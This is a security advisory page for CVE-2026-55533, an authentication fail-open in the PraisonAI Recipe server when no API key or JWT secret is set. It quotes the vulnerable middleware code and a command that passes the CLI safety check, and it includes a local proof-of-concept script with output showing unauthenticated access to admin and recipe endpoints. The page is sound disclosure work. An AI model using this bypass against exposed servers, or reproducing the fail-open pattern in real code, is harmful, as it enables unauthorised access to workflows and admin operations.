CVE-2026-55533

GHSA-gfq8-hmph-9gjv HIGH
Published August 25, 2026

### Summary The PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing. This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled,...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip < 4.6.58 4.6.58
1 dependents 69% patched ~12d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
8.2 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C Low
I High
A None

What should I do?

Patch available

Update PraisonAI to version 4.6.58

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-55533?

### Summary The PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing. This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided. The issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != "none"`. It does not verify that an actual API key or JWT secret exists. ### Details The Recipe server documents the following authentication modes: - `none` - `api-key` - `jwt` Relevant source locations: - `src/praisonai/praisonai/recipe/serve.py` - `src/praisonai/praisonai/cli/features/recipe.py` In `create_auth_middleware()`, the API key middleware resolves the expected key as: ```python expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ``` This means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing. The JWT middleware has the same fail-open behavior: ```python secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ``` The auth middleware is still attached when `auth` is configured: ```python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), ) if auth_middleware: middleware.append(Middleware(auth_middleware)) ``` The CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `"none"`: ```python if host != "127.0.0.1" and host != "localhost" and auth == "none": self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt") return self.EXIT_POLICY_DENIED ``` Therefore, this command passes the safety check: ```bash praisonai recipe serve --host 0.0.0.0 --auth api-key ``` However, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication. Affected endpoints include: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` - `POST /v1/recipes/validate` - optional `POST /admin/reload` when `enable_admin` is true ### PoC The following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing. Run from the repository root with test dependencies installed: ```bash python3 poc_recipe_auth_fail_open.py ``` `poc_recipe_auth_fail_open.py`: ```python import os import sys from pathlib import Path from starlette.testclient import TestClient ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents")) # Ensure no secrets are present in the environment. os.environ.pop("PRAISONAI_API_KEY", None) os.environ.pop("PRAISONAI_JWT_SECRET", None) from praisonai.recipe.serve import create_app # api-key auth selected, but no key configured. app_open = create_app({"auth": "api-key", "enable_admin": True}) client_open = TestClient(app_open) print("api-key auth with missing key:") print("GET /openapi.json:", client_open.get("/openapi.json").status_code) print("POST /admin/reload:", client_open.post("/admin/reload").status_code) # api-key auth selected with an actual key configured. app_closed = create_app({ "auth": "api-key", "api_key": "expected", "enable_admin": True, }) client_closed = TestClient(app_closed) print("\napi-key auth with configured key:") print("missing key:", client_closed.post("/admin/reload").status_code) print("wrong key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "wrong"}, ).status_code) print("correct key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "expected"}, ).status_code) # jwt auth selected, but no JWT secret configured. app_jwt_open = create_app({"auth": "jwt"}) client_jwt_open = TestClient(app_jwt_open) print("\njwt auth with missing secret:") print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code) ``` Observed output: ```text api-key auth with missing key: GET /openapi.json: 200 POST /admin/reload: 200 api-key auth with configured key: missing key: 401 wrong key: 401 correct key: 200 jwt auth with missing secret: GET /openapi.json: 200 ``` The important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong. ### Impact In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication. This gives unauthenticated access to recipe execution endpoints such as: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` If admin endpoints are enabled, the attacker can also access: - `POST /admin/reload` The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

Is CVE-2026-55533 actively exploited?

No confirmed active exploitation of CVE-2026-55533 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-55533?

Update to patched version: PraisonAI 4.6.58.

What is the CVSS score for CVE-2026-55533?

CVE-2026-55533 has a CVSS v3.1 base score of 8.2 (HIGH).

What are the technical details?

Original Advisory

### Summary The PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing. This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided. The issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != "none"`. It does not verify that an actual API key or JWT secret exists. ### Details The Recipe server documents the following authentication modes: - `none` - `api-key` - `jwt` Relevant source locations: - `src/praisonai/praisonai/recipe/serve.py` - `src/praisonai/praisonai/cli/features/recipe.py` In `create_auth_middleware()`, the API key middleware resolves the expected key as: ```python expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ``` This means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing. The JWT middleware has the same fail-open behavior: ```python secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ``` The auth middleware is still attached when `auth` is configured: ```python auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), ) if auth_middleware: middleware.append(Middleware(auth_middleware)) ``` The CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `"none"`: ```python if host != "127.0.0.1" and host != "localhost" and auth == "none": self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt") return self.EXIT_POLICY_DENIED ``` Therefore, this command passes the safety check: ```bash praisonai recipe serve --host 0.0.0.0 --auth api-key ``` However, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication. Affected endpoints include: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` - `POST /v1/recipes/validate` - optional `POST /admin/reload` when `enable_admin` is true ### PoC The following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing. Run from the repository root with test dependencies installed: ```bash python3 poc_recipe_auth_fail_open.py ``` `poc_recipe_auth_fail_open.py`: ```python import os import sys from pathlib import Path from starlette.testclient import TestClient ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents")) # Ensure no secrets are present in the environment. os.environ.pop("PRAISONAI_API_KEY", None) os.environ.pop("PRAISONAI_JWT_SECRET", None) from praisonai.recipe.serve import create_app # api-key auth selected, but no key configured. app_open = create_app({"auth": "api-key", "enable_admin": True}) client_open = TestClient(app_open) print("api-key auth with missing key:") print("GET /openapi.json:", client_open.get("/openapi.json").status_code) print("POST /admin/reload:", client_open.post("/admin/reload").status_code) # api-key auth selected with an actual key configured. app_closed = create_app({ "auth": "api-key", "api_key": "expected", "enable_admin": True, }) client_closed = TestClient(app_closed) print("\napi-key auth with configured key:") print("missing key:", client_closed.post("/admin/reload").status_code) print("wrong key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "wrong"}, ).status_code) print("correct key:", client_closed.post( "/admin/reload", headers={"X-API-Key": "expected"}, ).status_code) # jwt auth selected, but no JWT secret configured. app_jwt_open = create_app({"auth": "jwt"}) client_jwt_open = TestClient(app_jwt_open) print("\njwt auth with missing secret:") print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code) ``` Observed output: ```text api-key auth with missing key: GET /openapi.json: 200 POST /admin/reload: 200 api-key auth with configured key: missing key: 401 wrong key: 401 correct key: 200 jwt auth with missing secret: GET /openapi.json: 200 ``` The important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong. ### Impact In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication. This gives unauthenticated access to recipe execution endpoints such as: - `POST /v1/recipes/run` - `POST /v1/recipes/stream` If admin endpoints are enabled, the attacker can also access: - `POST /admin/reload` The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

Weaknesses (CWE)

CWE-287 — Improper Authentication: When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

  • [Architecture and Design] Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Timeline

Published
August 25, 2026
Last Modified
August 25, 2026
First Seen
August 25, 2026

Related Vulnerabilities